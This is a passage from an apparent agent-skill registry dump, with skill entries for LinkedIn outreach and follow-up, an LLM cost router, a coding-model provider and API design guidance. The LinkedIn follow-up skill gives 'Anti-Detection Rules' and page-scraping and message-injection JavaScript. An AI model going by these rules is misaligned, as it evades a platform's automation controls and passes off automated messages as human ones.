|\n| L | Last Updated | Timestamp of last status change |\n\n**Column I (Status) lifecycle** \u2014 only `Sent` is written by this skill. The follow-up skill will update to:\n`Replied` \u00b7 `Call Scheduled` \u00b7 `Demo Done` \u00b7 `Follow Up Sent` \u00b7 `No Response` \u00b7 `Closed Won` \u00b7 `Closed Lost`\n\n### Appending a Row\n\nAfter each message pair is sent, run:\n\n```bash\ngog sheets append <SHEET_ID> \"Outreach!A:L\" \\\n --values-json '[[\"<date>\",\"<name>\",\"<role>\",\"<company>\",\"<url>\",\"<hook>\",\"<opener>\",\"<pitch>\",\"<campaign>\",\"Sent\",\"<notes>\",\"<timestamp>\"]]' \\\n --insert INSERT_ROWS\n```\n\n### First-Time Setup\n\nIf no sheet exists yet, tell the user:\n> \"I'll need a Google Sheet to track outreach. Share an existing sheet ID/URL, or I can create one with the right columns.\"\n\nTo create a new sheet, use Drive (or ask user to create one and share the ID). Then write the header row:\n\n```bash\ngog sheets update <SHEET_ID> \"Outreach!A1:L1\" \\\n --values-json '[[\"Date Sent\",\"Person Name\",\"Role / Title\",\"Company\",\"LinkedIn URL\",\"Relationship Hook\",\"Opener Sent\",\"Pitch Sent\",\"Campaign\",\"Status\",\"Notes\",\"Last Updated\"]]' \\\n --input USER_ENTERED\n```\n\n### Local Sidecar (fallback)\n\nIf Google Sheets is not set up, fall back to a local `linkedin_dm_progress.json`:\n```json\n{\n \"campaign\": \"AI Calling - Feb 2026\",\n \"pitch\": \"confirmed pitch text\",\n \"rows\": [\n {\n \"date\": \"2026-02-13\",\n \"name\": \"Shorya Saini\",\n \"role\": \"Senior Analytics Specialist\",\n \"company\": \"Razorpay\",\n \"url\": \"https://linkedin.com/in/shorya-saini\",\n \"hook\": \"Same batch BITS Goa 2018\",\n \"opener\": \"Hey Shorya...\",\n \"pitch\": \"I'm building...\",\n \"status\": \"Sent\",\n \"notes\": \"\"\n }\n ]\n}\n```\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/10madh/linkedin-dm/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/10madh/linkedin-dm/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/10madh/linkedin-dm/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/10madh/linkedin-dm/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/10madh/linkedin-dm/SKILL.md", "importedAt": "2026-02-18T19:24:20.715Z"}}}}, {"slug": "clawhub-linkedin-followup", "name": "linkedin-followup", "category": "Social", "description": "Manage ongoing LinkedIn conversations from a central Google Sheet CRM. Read threads, draft context-aware replies, send messages, and keep the sheet...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "linkedin-followup", "slug": "clawhub-linkedin-followup", "version": "1.0.0", "description": "--- name: linkedin-followup description: Manage LinkedIn outreach leads from Google Sheets \u2014 search by name, read live conversation threads, update status, and send contextual follow-up messages. Use after linkedin-dm to move leads through the pipeline (Sent \u2192 Replied \u2192 Call Scheduled \u2192 Demo Done \u2192 Closed). metadata: { \"openclaw\": { \"emoji\": \"\ud83d\udd01\", \"requires\": { \"bins\": [\"gog\"] }, \"skills\": [\"gog\"], \"tags\": [\"linkedin\", \"crm\", \"outreach\", \"sales\", \"follow-up\"] } } ---", "documentation_md": "---\nname: linkedin-followup\ndescription: Manage LinkedIn outreach leads from Google Sheets \u2014 search by name, read live conversation threads, update status, and send contextual follow-up messages. Use after linkedin-dm to move leads through the pipeline (Sent \u2192 Replied \u2192 Call Scheduled \u2192 Demo Done \u2192 Closed).\nmetadata:\n {\n \"openclaw\": {\n \"emoji\": \"\ud83d\udd01\",\n \"requires\": { \"bins\": [\"gog\"] },\n \"skills\": [\"gog\"],\n \"tags\": [\"linkedin\", \"crm\", \"outreach\", \"sales\", \"follow-up\"]\n }\n }\n---\n\n# linkedin-followup\n\nManage ongoing LinkedIn conversations from a central Google Sheet CRM. Read threads, draft context-aware replies, send messages, and keep the sheet updated \u2014 all from one skill.\n\n---\n\n## Pre-flight Checklist\n\nBefore doing anything:\n\n1. **Sheet ID** \u2014 Confirm the CRM sheet ID (from `linkedin-dm` setup). Default: `1eEZDGcr1dIbSC782mNkxvD7pVrF8rOFySWCVZ1RXkhM`, tab: `Sheet1` (or `Outreach` if renamed).\n2. **gog auth** \u2014 Run `gog auth list`. If no tokens: see [gog auth setup](#gog-auth-setup) below.\n3. **Browser** \u2014 Open the openclaw browser profile and confirm LinkedIn is logged in. Navigate to `/feed/` first.\n4. **Mode** \u2014 Identify which mode the user wants (see [Modes](#modes)).\n\n---\n\n## Sheet Schema\n\nThe CRM sheet uses these columns (A\u2013P):\n\n| Col | Field | Notes |\n|---|---|---|\n| A | Date Sent | ISO date |\n| B | Person Name | Full name |\n| C | Role / Title | |\n| D | Company | |\n| E | LinkedIn URL | Profile URL |\n| F | Relationship Hook | Hook used in opener |\n| G | Opener Sent | Message 1 text |\n| H | Pitch Sent | Message 2 text |\n| I | Campaign | Batch label |\n| J | Status | Current pipeline stage |\n| K | Notes | Context and history |\n| L | Last Updated | ISO timestamp |\n| M | Last Reply Date | When they last replied |\n| N | Last Reply (preview) | First 200 chars of their last reply |\n| O | Conversation Log | Full thread (see format below) |\n| P | Next Action | What to do next (agent or human) |\n\n**Status values:**\n`Sent` \u2192 `Replied` \u2192 `Call Scheduled` \u2192 `Demo Done` \u2192 `Follow Up Sent` \u2192 `No Response` \u2192 `Closed Won` \u2192 `Closed Lost`\n\n**Conversation Log format** (column O):\n```\n[2026-02-13 17:05 SENT] Hey Rishabh, we both had stints at CRED...\n[2026-02-13 17:05 SENT] I'm building an AI calling agent...\n[2026-02-15 09:30 RECEIVED] Hey! Sounds interesting, tell me more.\n[2026-02-15 09:45 SENT] Happy to show you a live demo \u2014 are you free Thursday?\n```\n\nIf columns M\u2013P don't exist yet, add them first:\n```bash\ngog sheets update <SHEET_ID> \"Sheet1!M1:P1\" \\\n --values-json '[[\"Last Reply Date\",\"Last Reply (preview)\",\"Conversation Log\",\"Next Action\"]]' \\\n --input USER_ENTERED\n```\n\n---\n\n## Modes\n\n### Mode 1 \u2014 Quick Status Update\n\nUser says: *\"Mark Rishabh as Replied\"* or *\"Rishabh got back to me, he's interested\"*\n\n1. **Find the row** \u2014 Search the sheet for the person:\n ```bash\n gog sheets get <SHEET_ID> \"Sheet1!A:P\" --json\n ```\n Match by name (col B) or LinkedIn URL (col E). Get the row number.\n\n2. **Update status** (col J) and last updated (col L):\n ```bash\n gog sheets update <SHEET_ID> \"Sheet1!J<ROW>:L<ROW>\" \\\n --values-json '[[\"Replied\",\"\",\"<ISO_TIMESTAMP>\"]]' \\\n --input USER_ENTERED\n ```\n\n3. If the user provides reply content, also update:\n - Col M: Last Reply Date\n - Col N: Last Reply preview (first 200 chars)\n - Col O: Append to Conversation Log\n - Col P: Next Action (what should happen next)\n\n4. Confirm update to user.\n\n---\n\n### Mode 2 \u2014 Full Follow-up (Read + Draft + Send)\n\nUser says: *\"Follow up with Rishabh\"* or *\"Send a follow-up to everyone who replied\"*\n\n#### Step 1 \u2014 Load the person's data from sheet\n\n```bash\ngog sheets get <SHEET_ID> \"Sheet1!A:P\" --json\n```\nFind their row. Load: Name, Company, Role, LinkedIn URL, Opener Sent, Pitch Sent, Status, Notes, Conversation Log, Next Action.\n\n#### Step 2 \u2014 Navigate to their LinkedIn profile\n\n**Always go to feed first** (anti-detection):\n```\nhttps://www.linkedin.com/feed/\n```\nWait 2\u20134 seconds. Then navigate to their profile URL (col E).\n\n#### Step 3 \u2014 Open message thread and read conversation\n\nClick the **Message** button on their profile. Wait for the conversation bubble to load.\n\nScrape the full thread with JavaScript:\n```javascript\nconst events = Array.from(document.querySelectorAll('.msg-s-message-list__event'));\nconst messages = [];\nevents.forEach(el => {\n const groups = el.querySelectorAll('.msg-s-event-listitem');\n groups.forEach(g => {\n const nameEl = g.closest('.msg-s-message-group')?.querySelector('.msg-s-message-group__profile-link');\n const bodyEl = g.querySelector('.msg-s-event-listitem__body');\n const timeEl = g.closest('.msg-s-message-group')?.querySelector('.msg-s-message-group__timestamp');\n if (bodyEl?.textContent?.trim()) {\n messages.push({\n sender: nameEl?.textContent?.trim() || 'unknown',\n time: timeEl?.textContent?.trim() || '',\n text: bodyEl.textContent.trim()\n });\n }\n });\n});\nreturn JSON.stringify(messages);\n```\n\nIf the thread is empty or not loading, scroll up in the conversation bubble to load older messages.\n\n#### Step 4 \u2014 Analyse the conversation\n\nWith the full thread loaded + their profile data, determine:\n\n- **What did they say last?** \u2014 Identify the most recent message from them.\n- **What's the intent?** \u2014 Interested / wants more info / asked a question / cold / objection / not interested.\n- **What's the right next message?** \u2014 See [Response Playbook](#response-playbook) below.\n- **Tone** \u2014 Mirror their tone (casual vs formal, brief vs detailed).\n\n#### Step 5 \u2014 Draft the follow-up\n\nWrite a response that:\n- **Directly addresses** what they said last\n- **Doesn't re-pitch** unless they asked for it\n- **Moves toward a specific action** (demo, call, intro, forward to team)\n- Is **brief** \u2014 2\u20134 sentences max\n- Feels human, not templated\n\nShow the draft to the user and ask for approval before sending:\n\n> **Draft reply to [Name]:**\n> [message]\n>\n> Send this? (y / edit / skip)\n\n#### Step 6 \u2014 Send the message\n\nSame JS evaluate method as linkedin-dm:\n```javascript\nconst active = document.querySelector('.msg-overlay-conversation-bubble--is-active .msg-form__contenteditable');\nif (active) { active.focus(); document.execCommand('insertText', false, '<message>'); }\n```\nThen find and click Send.\n\n#### Step 7 \u2014 Update the sheet\n\nAfter sending:\n```bash\ngog sheets update <SHEET_ID> \"Sheet1!J<ROW>:P<ROW>\" \\\n --values-json '[[\"<new_status>\",\"<last_reply_date>\",\"<last_reply_preview>\",\"<updated_conversation_log>\",\"<next_action>\",\"<ISO_TIMESTAMP>\"]]' \\\n --input USER_ENTERED\n```\n\n---\n\n### Mode 3 \u2014 Batch Review\n\nUser says: *\"Who needs a follow-up?\"* or *\"Check my outreach\"*\n\n1. Load all rows from the sheet.\n2. Filter by status and time:\n - **`Sent` older than 3 days** \u2192 candidate for \"No Response\" or gentle follow-up\n - **`Replied`** \u2192 needs a response\n - **`Follow Up Sent` older than 5 days** \u2192 consider \"No Response\"\n - **`Call Scheduled`** \u2192 check if call happened, update status\n3. Present a table of candidates:\n ```\n Name Status Last Updated Suggested Action\n Rishabh Nayan Replied 2026-02-14 Reply to their message\n Shorya Saini Sent 2026-02-10 Follow-up nudge (4 days)\n Shantam Mohata Sent 2026-02-13 Too soon (today)\n ```\n4. User picks who to action, then enter Mode 2 for each.\n\n---\n\n## Response Playbook\n\nUse these as a guide \u2014 always adapt to the actual conversation:\n\n| They said | Intent | Your move |\n|---|---|---|\n| \"Sounds interesting, tell me more\" | Curious | Short explanation + offer a specific demo slot |\n| \"How does it work?\" | Exploring | 2-line description + invite to a 15-min call |\n| \"We already use [X]\" | Objection | Acknowledge, explain differentiation, offer demo |\n| \"Send me more details\" | Soft interest | Share a Loom/deck/link + follow up in 2 days |\n| \"Not relevant right now\" | Soft no | Respect it, leave door open: \"No worries, I'll ping you in a few months\" |\n| \"Who else is using it?\" | Trust-building | Share a relevant use case, offer intro to a user |\n| [No reply in 4 days] | Silence | Light nudge: \"Hey [Name], just checking \u2014 any thoughts?\" |\n| [No reply in 8 days] | Cold | One final message, then mark No Response |\n\n---\n\n## Anti-Detection Rules\n\nSame rules as linkedin-dm:\n- Always go to `/feed/` before navigating to a profile\n- Wait 2\u20134 seconds after loading feed\n- Max **15\u201320 messages per session** (combined sends across follow-ups)\n- Space out follow-ups: don't ping multiple people in rapid succession\n- Natural delays between typing and sending (1\u20132 seconds)\n\n---\n\n## gog Auth Setup\n\nIf `gog auth list` returns empty, the user needs to set up Google OAuth credentials:\n\n1. Go to [console.cloud.google.com](https://console.cloud.google.com)\n2. Create a project (or select existing)\n3. Enable **Google Sheets API** (APIs & Services \u2192 Library)\n4. Create OAuth credentials: APIs & Services \u2192 Credentials \u2192 Create \u2192 OAuth client ID \u2192 Desktop App\n5. Download `client_secret_<id>.json`\n6. Run:\n ```bash\n gog auth credentials set /path/to/client_secret.json\n gog auth add your@gmail.com --services sheets\n ```\n7. A browser window will open \u2014 log in and grant access\n8. Verify: `gog auth list`\n\n**Fallback (no gog):** All sheet reads/writes can be done manually via browser \u2014 open the sheet in the openclaw browser and update cells directly. Less automated but functional.\n\n---\n\n## Session Limits\n\n- Max 15\u201320 follow-up messages per session\n- Log every send immediately to sheet (don't batch)\n- If gog is unavailable, log to local `linkedin_followup_log.json` and sync to sheet next session\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/10madh/linkedin-followup/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/10madh/linkedin-followup/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/10madh/linkedin-followup/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/10madh/linkedin-followup/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/10madh/linkedin-followup/SKILL.md", "importedAt": "2026-02-18T19:24:20.717Z"}}}}, {"slug": "clawhub-clawrouter", "name": "ClawRouter", "category": "DevTools", "description": "Smart LLM router that saves 78% on inference costs by routing each request to the cheapest model that can handle it. 30+ models across 5 providers,...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "ClawRouter", "slug": "clawhub-clawrouter", "version": "1.0.0", "description": "--- name: clawrouter description: Smart LLM router \u2014 save 78% on inference costs. Routes every request to the cheapest capable model across 30+ models from OpenAI, Anthropic, Google, DeepSeek, and xAI. homepage: https://github.com/BlockRunAI/ClawRouter metadata: { \"openclaw\": { \"emoji\": \"\ud83e\udd80\", \"requires\": { \"config\": [\"models.providers.blockrun\"] } } } ---", "documentation_md": "---\nname: clawrouter\ndescription: Smart LLM router \u2014 save 78% on inference costs. Routes every request to the cheapest capable model across 30+ models from OpenAI, Anthropic, Google, DeepSeek, and xAI.\nhomepage: https://github.com/BlockRunAI/ClawRouter\nmetadata: { \"openclaw\": { \"emoji\": \"\ud83e\udd80\", \"requires\": { \"config\": [\"models.providers.blockrun\"] } } }\n---\n\n# ClawRouter\n\nSmart LLM router that saves 78% on inference costs by routing each request to the cheapest model that can handle it. 30+ models across 5 providers, all through one wallet.\n\n## Install\n\n```bash\nopenclaw plugins install @blockrun/clawrouter\n```\n\n## Setup\n\n```bash\n# Enable smart routing (auto-picks cheapest model per request)\nopenclaw models set blockrun/auto\n\n# Or pin a specific model\nopenclaw models set openai/gpt-4o\n```\n\n## How Routing Works\n\nClawRouter classifies each request into one of four tiers:\n\n- **SIMPLE** (40% of traffic) \u2014 factual lookups, greetings, translations \u2192 Gemini Flash ($0.60/M, 99% savings)\n- **MEDIUM** (30%) \u2014 summaries, explanations, data extraction \u2192 DeepSeek Chat ($0.42/M, 99% savings)\n- **COMPLEX** (20%) \u2014 code generation, multi-step analysis \u2192 Claude Opus ($75/M, best quality)\n- **REASONING** (10%) \u2014 proofs, formal logic, multi-step math \u2192 o3 ($8/M, 89% savings)\n\nRules handle ~80% of requests in <1ms. Only ambiguous queries hit the LLM classifier (~$0.00003 per classification).\n\n## Available Models\n\n30+ models including: gpt-5.2, gpt-4o, gpt-4o-mini, o3, o4-mini, claude-opus-4.5, claude-sonnet-4, claude-haiku-4.5, gemini-2.5-pro, gemini-2.5-flash, deepseek-chat, deepseek-reasoner, grok-3, grok-3-mini.\n\n## Example Output\n\n```\n[ClawRouter] google/gemini-2.5-flash (SIMPLE, rules, confidence=0.92)\n Cost: $0.0025 | Baseline: $0.308 | Saved: 99.2%\n```\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1bcmax/clawrouter/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1bcmax/clawrouter/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1bcmax/clawrouter/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1bcmax/clawrouter/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1bcmax/clawrouter/SKILL.md", "importedAt": "2026-02-18T19:24:20.729Z"}}}}, {"slug": "clawhub-rei", "name": "Rei Qwen3 Coder", "category": "DevTools", "description": "Rei provides Qwen3 Coder via an OpenAI-compatible endpoint at coder.reilabs.org.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Rei Qwen3 Coder", "slug": "clawhub-rei", "version": "1.0.0", "description": "--- name: rei description: Set up Rei Qwen3 Coder as a model provider. Use when configuring coder.reilabs.org, adding Rei to Clawdbot, or troubleshooting 403 errors from Rei endpoints. ---", "documentation_md": "---\nname: rei\ndescription: Set up Rei Qwen3 Coder as a model provider. Use when configuring coder.reilabs.org, adding Rei to Clawdbot, or troubleshooting 403 errors from Rei endpoints.\n---\n\n# Rei Qwen3 Coder\n\nRei provides Qwen3 Coder via an OpenAI-compatible endpoint at `coder.reilabs.org`.\n\n## Setup via Script\n\n```bash\n./skills/rei/scripts/setup.sh YOUR_REI_API_KEY\n```\n\nThis adds the provider, adds it to the model allowlist, and restarts the gateway.\n\n## Setup via Agent\n\nAsk your agent:\n\n> \"Set up Rei with API key: YOUR_KEY\"\n\nThe agent will read this skill and run the setup script for you.\n\n## Switching Models\n\n**Via chat:**\n```\n/model rei\n/model opus\n```\n\n**Via script:**\n```bash\n./skills/rei/scripts/switch.sh rei\n./skills/rei/scripts/switch.sh opus\n```\n\n**Via agent:**\n> \"Switch to Rei\" or \"Switch back to Opus\"\n\n## Revert\n\nIf something breaks, restore the backup:\n\n```bash\n./skills/rei/scripts/revert.sh\n```\n\n## Manual Setup\n\nAdd to `~/.clawdbot/clawdbot.json`:\n\n```json\n{\n \"models\": {\n \"providers\": {\n \"rei\": {\n \"baseUrl\": \"https://coder.reilabs.org/v1\",\n \"apiKey\": \"YOUR_API_KEY\",\n \"api\": \"openai-completions\",\n \"headers\": { \"User-Agent\": \"Clawdbot/1.0\" },\n \"models\": [{\n \"id\": \"rei-qwen3-coder\",\n \"name\": \"Rei Qwen3 Coder\",\n \"contextWindow\": 200000,\n \"maxTokens\": 8192\n }]\n }\n }\n },\n \"agents\": {\n \"defaults\": {\n \"models\": {\n \"rei/rei-qwen3-coder\": { \"alias\": \"rei\" }\n }\n }\n }\n}\n```\n\nThen restart: `clawdbot gateway restart`\n\n## Troubleshooting\n\n**403 errors:** The `User-Agent: Clawdbot/1.0` header is required. The setup script adds this automatically. If you configured manually, make sure the header is present.\n\n**\"Model not allowed\":** Rei must be in `agents.defaults.models` to switch to it. The setup script handles this. For manual setup, add the allowlist entry shown above.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/0xreisearch/rei/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/0xreisearch/rei/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/0xreisearch/rei/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/0xreisearch/rei/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/0xreisearch/rei/SKILL.md", "importedAt": "2026-02-18T19:24:20.699Z"}}}}, {"slug": "clawhub-afrexai-api-architect", "name": "API Architect \u2014 Full Lifecycle API Development", "category": "DevTools", "description": "Design, build, test, document, secure, and monitor production-grade APIs. Not just curl commands \u2014 a complete engineering methodology.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "API Architect \u2014 Full Lifecycle API Development", "slug": "clawhub-afrexai-api-architect", "version": "1.0.0", "description": "--- name: afrexai-api-architect description: Design, build, test, document, and secure production-grade APIs. Covers the full lifecycle from schema design through deployment, monitoring, and versioning. Use when designing new APIs, reviewing existing ones, generating OpenAPI specs, building test suites, or debugging production issues. metadata: {\"openclaw\":{\"os\":[\"linux\",\"darwin\",\"win32\"]}} ---", "documentation_md": "---\nname: afrexai-api-architect\ndescription: Design, build, test, document, and secure production-grade APIs. Covers the full lifecycle from schema design through deployment, monitoring, and versioning. Use when designing new APIs, reviewing existing ones, generating OpenAPI specs, building test suites, or debugging production issues.\nmetadata: {\"openclaw\":{\"os\":[\"linux\",\"darwin\",\"win32\"]}}\n---\n\n# API Architect \u2014 Full Lifecycle API Development\n\nDesign, build, test, document, secure, and monitor production-grade APIs. Not just curl commands \u2014 a complete engineering methodology.\n\n## When to Use\n\n- Designing a new API (REST, GraphQL, or gRPC)\n- Reviewing an existing API for quality, consistency, or security\n- Generating or validating OpenAPI/Swagger specs\n- Building comprehensive test suites (unit, integration, contract, load)\n- Debugging production API issues\n- Planning API versioning and deprecation\n- Setting up monitoring, rate limiting, and error handling\n\n---\n\n## Phase 1: API Design\n\n### Design-First Approach\n\nAlways design before coding. The spec IS the contract.\n\n#### Resource Modeling\n\nMap your domain to resources using this template:\n\n```yaml\n# api-design.yaml\nservice: order-management\nbase_path: /api/v1\nresources:\n - name: orders\n path: /orders\n description: Customer purchase orders\n identifier: order_id (UUID)\n parent: null\n operations: [list, create, get, update, cancel]\n sub_resources:\n - name: line_items\n path: /orders/{order_id}/items\n operations: [list, add, update, remove]\n - name: payments\n path: /orders/{order_id}/payments\n operations: [list, create, get, refund]\n states: [draft, confirmed, processing, shipped, delivered, cancelled]\n transitions:\n - from: draft \u2192 to: confirmed (action: confirm)\n - from: confirmed \u2192 to: processing (action: process)\n - from: processing \u2192 to: shipped (action: ship)\n - from: shipped \u2192 to: delivered (action: deliver)\n - from: [draft, confirmed] \u2192 to: cancelled (action: cancel)\n```\n\n#### Naming Conventions Checklist\n\n| Rule | Good | Bad |\n|------|------|-----|\n| Plural nouns for collections | `/users` | `/user`, `/getUsers` |\n| Kebab-case for multi-word | `/line-items` | `/lineItems`, `/line_items` |\n| No verbs in URLs | `POST /orders` | `/createOrder` |\n| Nest for ownership | `/users/123/orders` | `/orders?user=123` (for primary relationship) |\n| Max 3 levels deep | `/users/123/orders` | `/users/123/orders/456/items/789/options` |\n| Filter via query params | `/orders?status=active` | `/active-orders` |\n| Actions as sub-resource | `POST /orders/123/cancel` | `PATCH /orders/123 {cancelled:true}` |\n\n#### HTTP Methods \u2014 Decision Matrix\n\n```\nNeed to... \u2192 Method Idempotent? Safe?\nGet a resource or collection \u2192 GET Yes Yes\nCreate a new resource \u2192 POST No No\nFull replace of a resource \u2192 PUT Yes No\nPartial update of a resource \u2192 PATCH No* No\nRemove a resource \u2192 DELETE Yes No\nCheck if resource exists \u2192 HEAD Yes Yes\nList allowed methods \u2192 OPTIONS Yes Yes\n\n* PATCH can be idempotent if using JSON Merge Patch\n```\n\n#### Status Code Decision Tree\n\n```\nSuccess?\n\u251c\u2500\u2500 Created something new? \u2192 201 Created (Location header)\n\u251c\u2500\u2500 Accepted for async processing? \u2192 202 Accepted (include status URL)\n\u251c\u2500\u2500 No body to return? \u2192 204 No Content\n\u2514\u2500\u2500 Returning data? \u2192 200 OK\n\nClient error?\n\u251c\u2500\u2500 Malformed request syntax? \u2192 400 Bad Request\n\u251c\u2500\u2500 No/invalid credentials? \u2192 401 Unauthorized\n\u251c\u2500\u2500 Valid credentials but insufficient permissions? \u2192 403 Forbidden\n\u251c\u2500\u2500 Resource doesn't exist? \u2192 404 Not Found\n\u251c\u2500\u2500 Method not allowed on resource? \u2192 405 Method Not Allowed\n\u251c\u2500\u2500 Conflict with current state? \u2192 409 Conflict\n\u251c\u2500\u2500 Resource permanently gone? \u2192 410 Gone\n\u251c\u2500\u2500 Validation failed? \u2192 422 Unprocessable Entity\n\u251c\u2500\u2500 Too many requests? \u2192 429 Too Many Requests (Retry-After header)\n\u2514\u2500\u2500 Precondition failed (etag mismatch)? \u2192 412 Precondition Failed\n\nServer error?\n\u251c\u2500\u2500 Unexpected failure? \u2192 500 Internal Server Error\n\u251c\u2500\u2500 Upstream dependency failed? \u2192 502 Bad Gateway\n\u251c\u2500\u2500 Temporarily overloaded? \u2192 503 Service Unavailable (Retry-After)\n\u2514\u2500\u2500 Upstream timeout? \u2192 504 Gateway Timeout\n```\n\n### Request/Response Design\n\n#### Standard Response Envelope\n\n```json\n// Success (single resource)\n{\n \"data\": { \"id\": \"ord_abc123\", \"status\": \"confirmed\", ... },\n \"meta\": { \"request_id\": \"req_xyz789\" }\n}\n\n// Success (collection)\n{\n \"data\": [ ... ],\n \"meta\": { \"request_id\": \"req_xyz789\" },\n \"pagination\": {\n \"total\": 142,\n \"page\": 2,\n \"per_page\": 20,\n \"total_pages\": 8,\n \"next\": \"/api/v1/orders?page=3&per_page=20\",\n \"prev\": \"/api/v1/orders?page=1&per_page=20\"\n }\n}\n\n// Error\n{\n \"error\": {\n \"code\": \"VALIDATION_FAILED\",\n \"message\": \"Request validation failed\",\n \"details\": [\n { \"field\": \"email\", \"message\": \"Must be a valid email address\", \"code\": \"INVALID_FORMAT\" },\n { \"field\": \"age\", \"message\": \"Must be at least 18\", \"code\": \"MIN_VALUE\", \"min\": 18 }\n ]\n },\n \"meta\": { \"request_id\": \"req_xyz789\" }\n}\n```\n\n#### Pagination Patterns \u2014 When to Use Which\n\n| Pattern | Use When | Pros | Cons |\n|---------|----------|------|------|\n| **Offset** `?page=2&per_page=20` | Simple UI pagination, small datasets | Easy to implement, page jumping | Drift on inserts, slow on large offsets |\n| **Cursor** `?after=eyJ...&limit=20` | Infinite scroll, real-time feeds, large datasets | Consistent, performant | No page jumping, opaque cursors |\n| **Keyset** `?created_after=2024-01-01&limit=20` | Time-series data, logs | Fast, transparent | Requires sortable field, no count |\n\n#### Filtering, Sorting, Field Selection\n\n```\n# Filtering\nGET /orders?status=active&created_after=2024-01-01&total_min=100\n\n# Sorting (prefix - for descending)\nGET /orders?sort=-created_at,total\n\n# Field selection (reduce payload)\nGET /orders?fields=id,status,total,customer.name\n\n# Search\nGET /products?q=wireless+headphones\n\n# Combined\nGET /orders?status=active&sort=-created_at&fields=id,status,total&page=1&per_page=10\n```\n\n---\n\n## Phase 2: OpenAPI Specification\n\n### Generate OpenAPI 3.1 Spec\n\nFor each resource in your design, generate a complete spec:\n\n```yaml\nopenapi: 3.1.0\ninfo:\n title: Order Management API\n version: 1.0.0\n description: |\n Order lifecycle management.\n \n ## Authentication\n All endpoints require Bearer token authentication.\n \n ## Rate Limits\n - Standard: 100 req/min\n - Bulk operations: 10 req/min\n contact:\n name: API Support\n email: api@example.com\n license:\n name: MIT\nservers:\n - url: https://api.example.com/v1\n description: Production\n - url: https://staging-api.example.com/v1\n description: Staging\n\npaths:\n /orders:\n get:\n operationId: listOrders\n summary: List orders\n tags: [Orders]\n parameters:\n - $ref: '#/components/parameters/PageParam'\n - $ref: '#/components/parameters/PerPageParam'\n - name: status\n in: query\n schema:\n $ref: '#/components/schemas/OrderStatus'\n - name: created_after\n in: query\n schema:\n type: string\n format: date-time\n responses:\n '200':\n description: Order list\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/OrderListResponse'\n '401':\n $ref: '#/components/responses/Unauthorized'\n\n post:\n operationId: createOrder\n summary: Create an order\n tags: [Orders]\n requestBody:\n required: true\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/CreateOrderRequest'\n examples:\n basic:\n summary: Basic order\n value:\n customer_id: \"cust_abc\"\n items:\n - product_id: \"prod_xyz\"\n quantity: 2\n responses:\n '201':\n description: Order created\n headers:\n Location:\n schema:\n type: string\n description: URL of created order\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/OrderResponse'\n '422':\n $ref: '#/components/responses/ValidationError'\n\ncomponents:\n securitySchemes:\n BearerAuth:\n type: http\n scheme: bearer\n bearerFormat: JWT\n\n parameters:\n PageParam:\n name: page\n in: query\n schema: { type: integer, minimum: 1, default: 1 }\n PerPageParam:\n name: per_page\n in: query\n schema: { type: integer, minimum: 1, maximum: 100, default: 20 }\n\n responses:\n Unauthorized:\n description: Missing or invalid authentication\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/ErrorResponse'\n ValidationError:\n description: Request validation failed\n content:\n application/json:\n schema:\n $ref: '#/components/schemas/ErrorResponse'\n\nsecurity:\n - BearerAuth: []\n```\n\n### Spec Quality Checklist (score each 0-2)\n\n| # | Check | Score |\n|---|-------|-------|\n| 1 | Every endpoint has operationId | /2 |\n| 2 | All parameters documented with types + constraints | /2 |\n| 3 | Request bodies have examples | /2 |\n| 4 | All error responses documented (400, 401, 403, 